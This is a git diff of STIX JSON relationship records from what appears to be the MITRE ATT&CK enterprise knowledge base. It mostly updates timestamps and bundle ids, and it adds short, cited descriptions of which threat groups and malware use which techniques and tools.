diff --git a/enterprise-attack/relationship/relationship--f1d5a985-406e-4b03-9f55-2706a2adba92.json b/enterprise-attack/relationship/relationship--f1d5a985-406e-4b03-9f55-2706a2adba92.json
index de4cefe0d5..351b903a07 100644
--- a/enterprise-attack/relationship/relationship--f1d5a985-406e-4b03-9f55-2706a2adba92.json
+++ b/enterprise-attack/relationship/relationship--f1d5a985-406e-4b03-9f55-2706a2adba92.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8179e0bc-4a21-4f02-a5b2-48dff5aa7e23",
+    "id": "bundle--30c7bdb8-05d4-4440-b1ce-7263769b501f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f1d5a985-406e-4b03-9f55-2706a2adba92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Fgdump can dump Windows password hashes.",
             "source_ref": "tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe",
diff --git a/enterprise-attack/relationship/relationship--f24d37c0-283d-4f37-8278-07fc75cc0e94.json b/enterprise-attack/relationship/relationship--f24d37c0-283d-4f37-8278-07fc75cc0e94.json
new file mode 100644
index 0000000000..198bc5394c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f24d37c0-283d-4f37-8278-07fc75cc0e94.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--b58e60d0-1f3d-4740-90a1-96419bc390e3",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f24d37c0-283d-4f37-8278-07fc75cc0e94",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f28627be-fddd-455c-b001-abddaaa29fa7.json b/enterprise-attack/relationship/relationship--f28627be-fddd-455c-b001-abddaaa29fa7.json
index 2c9190c347..4de62b19bc 100644
--- a/enterprise-attack/relationship/relationship--f28627be-fddd-455c-b001-abddaaa29fa7.json
+++ b/enterprise-attack/relationship/relationship--f28627be-fddd-455c-b001-abddaaa29fa7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--026f425d-dadf-46f0-b5f0-09f3e553b45f",
+    "id": "bundle--a8485338-f967-4fcd-8caf-9ce9f1cc781e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f28627be-fddd-455c-b001-abddaaa29fa7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Winnti Group used stolen certificates to sign its malware.",
             "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
diff --git a/enterprise-attack/relationship/relationship--f29a3a93-e697-4d6f-8087-eec72856bae5.json b/enterprise-attack/relationship/relationship--f29a3a93-e697-4d6f-8087-eec72856bae5.json
index 63c81097a2..f6cb346594 100644
--- a/enterprise-attack/relationship/relationship--f29a3a93-e697-4d6f-8087-eec72856bae5.json
+++ b/enterprise-attack/relationship/relationship--f29a3a93-e697-4d6f-8087-eec72856bae5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f3211f24-3335-42cf-96be-6b09f6ba44bf",
+    "id": "bundle--df5fa789-516f-43e9-b096-17df95ce5d93",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f29a3a93-e697-4d6f-8087-eec72856bae5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK encrypts C2 communications with RC4 as well as TLS.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--f2d601c9-8cc7-4425-b76f-fbc9997b55fd.json b/enterprise-attack/relationship/relationship--f2d601c9-8cc7-4425-b76f-fbc9997b55fd.json
index 377b8cf5be..565a8196dd 100644
--- a/enterprise-attack/relationship/relationship--f2d601c9-8cc7-4425-b76f-fbc9997b55fd.json
+++ b/enterprise-attack/relationship/relationship--f2d601c9-8cc7-4425-b76f-fbc9997b55fd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cda816f3-2cca-484b-904b-72c6fb58a613",
+    "id": "bundle--f71600dd-ab65-442c-beee-64393b880f25",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f2d601c9-8cc7-4425-b76f-fbc9997b55fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
diff --git a/enterprise-attack/relationship/relationship--f33725f4-cce5-4868-b494-d73419c76bdf.json b/enterprise-attack/relationship/relationship--f33725f4-cce5-4868-b494-d73419c76bdf.json
index 31d123072c..d2c58478ad 100644
--- a/enterprise-attack/relationship/relationship--f33725f4-cce5-4868-b494-d73419c76bdf.json
+++ b/enterprise-attack/relationship/relationship--f33725f4-cce5-4868-b494-d73419c76bdf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fb7b4c07-1c37-4741-bd7d-55b9e9821271",
+    "id": "bundle--7e79a7ec-9050-42b9-93ee-fedcb33f74ef",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f33725f4-cce5-4868-b494-d73419c76bdf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky collects information about running processes from victims.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--f36a8899-940f-4c8f-924d-eef2f056744d.json b/enterprise-attack/relationship/relationship--f36a8899-940f-4c8f-924d-eef2f056744d.json
index 3cb03efbf9..43c6b0454d 100644
--- a/enterprise-attack/relationship/relationship--f36a8899-940f-4c8f-924d-eef2f056744d.json
+++ b/enterprise-attack/relationship/relationship--f36a8899-940f-4c8f-924d-eef2f056744d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--219c8b76-0fe0-43da-b49e-13731a7f48f9",
+    "id": "bundle--54e4fe39-3c94-416e-a95a-f2420e3d48fe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f36a8899-940f-4c8f-924d-eef2f056744d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "dsquery can be used to gather information on permission groups within a domain.",
             "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe",
diff --git a/enterprise-attack/relationship/relationship--f388c949-b692-4863-8e3b-7c1fc21a5fbd.json b/enterprise-attack/relationship/relationship--f388c949-b692-4863-8e3b-7c1fc21a5fbd.json
index c85a67d2d0..82871256e8 100644
--- a/enterprise-attack/relationship/relationship--f388c949-b692-4863-8e3b-7c1fc21a5fbd.json
+++ b/enterprise-attack/relationship/relationship--f388c949-b692-4863-8e3b-7c1fc21a5fbd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--56e21a08-9a9c-483a-b66c-0114bff60202",
+    "id": "bundle--d0dde79b-29ee-4c0e-b8db-9b69b852b589",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f388c949-b692-4863-8e3b-7c1fc21a5fbd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482",
             "target_ref": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f",
diff --git a/enterprise-attack/relationship/relationship--f39d9e4d-b4f9-4c12-aa8e-a44f8550b57f.json b/enterprise-attack/relationship/relationship--f39d9e4d-b4f9-4c12-aa8e-a44f8550b57f.json
index a016a00486..9183217dc6 100644
--- a/enterprise-attack/relationship/relationship--f39d9e4d-b4f9-4c12-aa8e-a44f8550b57f.json
+++ b/enterprise-attack/relationship/relationship--f39d9e4d-b4f9-4c12-aa8e-a44f8550b57f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2cbc8c78-68e1-488a-9e98-296c72ce6951",
+    "id": "bundle--11592e29-5320-4cd9-a597-4f1b815e7db1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f39d9e4d-b4f9-4c12-aa8e-a44f8550b57f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT retrieves and executes an additional payload from its C2 server.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--f3bbff8f-5f4b-40aa-a55f-e3880a582868.json b/enterprise-attack/relationship/relationship--f3bbff8f-5f4b-40aa-a55f-e3880a582868.json
index b2cc4253d1..5c64f8176f 100644
--- a/enterprise-attack/relationship/relationship--f3bbff8f-5f4b-40aa-a55f-e3880a582868.json
+++ b/enterprise-attack/relationship/relationship--f3bbff8f-5f4b-40aa-a55f-e3880a582868.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--feaba24a-336a-4412-8d1c-3967d42125dc",
+    "id": "bundle--09814c66-5e00-42b2-81c8-4ec8e21dc9a7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f3bbff8f-5f4b-40aa-a55f-e3880a582868",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "KOMPROGO is capable of creating a reverse shell.",
             "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
diff --git a/enterprise-attack/relationship/relationship--f4188b9b-c2fe-41b7-96e0-e28d99671b9d.json b/enterprise-attack/relationship/relationship--f4188b9b-c2fe-41b7-96e0-e28d99671b9d.json
new file mode 100644
index 0000000000..a2a8a6b105
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f4188b9b-c2fe-41b7-96e0-e28d99671b9d.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2a9b89db-9a90-462c-b4a9-0837768e2f6b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f4188b9b-c2fe-41b7-96e0-e28d99671b9d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has compressed and encrypted data into password-protected RAR archives prior to exfiltration.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f43ab4db-5dea-4a1f-977a-f5d779330193.json b/enterprise-attack/relationship/relationship--f43ab4db-5dea-4a1f-977a-f5d779330193.json
index 583e9ce919..25ba4cc257 100644
--- a/enterprise-attack/relationship/relationship--f43ab4db-5dea-4a1f-977a-f5d779330193.json
+++ b/enterprise-attack/relationship/relationship--f43ab4db-5dea-4a1f-977a-f5d779330193.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5064fb95-7876-4fda-91ab-348d9a0a7303",
+    "id": "bundle--c9b427e8-4156-484e-9001-40c14b472efe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,16 +8,16 @@
             "id": "relationship--f43ab4db-5dea-4a1f-977a-f5d779330193",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "Deep Panda uses net.exe to connect to network shares using \"net use\" commands with compromised credentials.",
+            "description": "Deep Panda uses net.exe to connect to network shares using <code>net use</code> commands with compromised credentials.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
             "external_references": [
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--f44478f1-fdd7-4e84-8b96-60e6c6a10683.json b/enterprise-attack/relationship/relationship--f44478f1-fdd7-4e84-8b96-60e6c6a10683.json
new file mode 100644
index 0000000000..b3662f6509
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f44478f1-fdd7-4e84-8b96-60e6c6a10683.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--da40e91f-32cb-4282-a149-6927e521119b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f44478f1-fdd7-4e84-8b96-60e6c6a10683",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "queries the Registry to determine the correct Startup path to use for persistence.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f4480854-9424-49d5-8b54-f839302e3ee7.json b/enterprise-attack/relationship/relationship--f4480854-9424-49d5-8b54-f839302e3ee7.json
index 7adc1f356c..ee3bbaebbe 100644
--- a/enterprise-attack/relationship/relationship--f4480854-9424-49d5-8b54-f839302e3ee7.json
+++ b/enterprise-attack/relationship/relationship--f4480854-9424-49d5-8b54-f839302e3ee7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eddc4011-6f0d-4d82-9fe4-2d77e927f32f",
+    "id": "bundle--946be743-cae0-46eb-ae07-d7d87e557a54",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f4480854-9424-49d5-8b54-f839302e3ee7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover has keylogging functionality.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
diff --git a/enterprise-attack/relationship/relationship--f4865a5c-c17c-408a-94de-2feac0d006fd.json b/enterprise-attack/relationship/relationship--f4865a5c-c17c-408a-94de-2feac0d006fd.json
new file mode 100644
index 0000000000..bba9644a37
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f4865a5c-c17c-408a-94de-2feac0d006fd.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--dff57be0-3b2c-414a-a717-57ff67898e0d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f4865a5c-c17c-408a-94de-2feac0d006fd",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can collect data from a local system.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f4902ad9-b1bb-41ce-a448-55e2d9437503.json b/enterprise-attack/relationship/relationship--f4902ad9-b1bb-41ce-a448-55e2d9437503.json
index 56d14c6c9f..2e40434c48 100644
--- a/enterprise-attack/relationship/relationship--f4902ad9-b1bb-41ce-a448-55e2d9437503.json
+++ b/enterprise-attack/relationship/relationship--f4902ad9-b1bb-41ce-a448-55e2d9437503.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5e9eec75-d9c3-4455-930d-8e9d5ed88097",
+    "id": "bundle--e54acdb5-babc-40d2-bea4-3d424ac4fcc5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f4902ad9-b1bb-41ce-a448-55e2d9437503",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves is capable of downloading a file from a specified URL.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--f4aaf7ec-7ff1-4519-bd93-3eaf3074d11f.json b/enterprise-attack/relationship/relationship--f4aaf7ec-7ff1-4519-bd93-3eaf3074d11f.json
index cc2f09f924..5b0d476ae6 100644
--- a/enterprise-attack/relationship/relationship--f4aaf7ec-7ff1-4519-bd93-3eaf3074d11f.json
+++ b/enterprise-attack/relationship/relationship--f4aaf7ec-7ff1-4519-bd93-3eaf3074d11f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2333f121-cb82-4bd7-a5cd-9b7e4741bed9",
+    "id": "bundle--915a31de-4e1b-4e52-8ce3-5999b1b0e5f0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f4aaf7ec-7ff1-4519-bd93-3eaf3074d11f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a",
             "target_ref": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302",
diff --git a/enterprise-attack/relationship/relationship--f4c6cb3f-b24c-4a1e-9bba-7b129b89a17a.json b/enterprise-attack/relationship/relationship--f4c6cb3f-b24c-4a1e-9bba-7b129b89a17a.json
index c9421fd7e1..a178de1266 100644
--- a/enterprise-attack/relationship/relationship--f4c6cb3f-b24c-4a1e-9bba-7b129b89a17a.json
+++ b/enterprise-attack/relationship/relationship--f4c6cb3f-b24c-4a1e-9bba-7b129b89a17a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--868e5112-ee4e-490f-987a-d1a73a8fa6fe",
+    "id": "bundle--0c54071d-922f-43bd-84c9-a49775d7e4aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f4c6cb3f-b24c-4a1e-9bba-7b129b89a17a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz saves system information into an XML file that is then XOR-encoded.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
diff --git a/enterprise-attack/relationship/relationship--f4e53b40-abcf-4157-9e53-4ab9632619f1.json b/enterprise-attack/relationship/relationship--f4e53b40-abcf-4157-9e53-4ab9632619f1.json
index b11503cc73..a9a69fec9c 100644
--- a/enterprise-attack/relationship/relationship--f4e53b40-abcf-4157-9e53-4ab9632619f1.json
+++ b/enterprise-attack/relationship/relationship--f4e53b40-abcf-4157-9e53-4ab9632619f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2bf34f36-5617-41b0-8a12-066eda72d90c",
+    "id": "bundle--2eb9d0ef-7186-4eb2-809b-a520558e87ea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f4e53b40-abcf-4157-9e53-4ab9632619f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
diff --git a/enterprise-attack/relationship/relationship--f4f5b6a4-26d5-4352-a25d-001a51a0a121.json b/enterprise-attack/relationship/relationship--f4f5b6a4-26d5-4352-a25d-001a51a0a121.json
index 91a3359ce6..f417afe963 100644
--- a/enterprise-attack/relationship/relationship--f4f5b6a4-26d5-4352-a25d-001a51a0a121.json
+++ b/enterprise-attack/relationship/relationship--f4f5b6a4-26d5-4352-a25d-001a51a0a121.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--72522959-0feb-4b33-9f9b-242aa20e1400",
+    "id": "bundle--f8744d1d-4e9e-4ac3-be72-23aa2336e3ff",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f4f5b6a4-26d5-4352-a25d-001a51a0a121",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Downdelph uses DLL search order hijacking of the Windows executable sysprep.exe to escalate privileges.",
             "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
diff --git a/enterprise-attack/relationship/relationship--f52f1b34-a96a-45a0-8cc0-2f138a3f1257.json b/enterprise-attack/relationship/relationship--f52f1b34-a96a-45a0-8cc0-2f138a3f1257.json
new file mode 100644
index 0000000000..95e9bd9bcd
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f52f1b34-a96a-45a0-8cc0-2f138a3f1257.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--6ae8a03b-dc11-4e90-ad2c-3f93f3dacf30",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f52f1b34-a96a-45a0-8cc0-2f138a3f1257",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f55d54fe-27ed-41f9-81db-11ccbe2d2125.json b/enterprise-attack/relationship/relationship--f55d54fe-27ed-41f9-81db-11ccbe2d2125.json
index cf75d45222..028edeb781 100644
--- a/enterprise-attack/relationship/relationship--f55d54fe-27ed-41f9-81db-11ccbe2d2125.json
+++ b/enterprise-attack/relationship/relationship--f55d54fe-27ed-41f9-81db-11ccbe2d2125.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7e0b58e7-fd41-4f5d-8241-da18d47bb7b7",
+    "id": "bundle--db3b3662-dbde-4304-8301-6d38b66c3f69",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f55d54fe-27ed-41f9-81db-11ccbe2d2125",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK provides access to the Windows Registry, which can be used to gather information.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294.json b/enterprise-attack/relationship/relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294.json
index 8a27b42673..426385f4b7 100644
--- a/enterprise-attack/relationship/relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294.json
+++ b/enterprise-attack/relationship/relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a32389f5-ea9d-44a5-9a6c-beff835a4b13",
+    "id": "bundle--6f2c2012-8819-45a0-bc7b-7a0773bfac23",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has the capability to communicate over a backup channel via plus.google.com.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
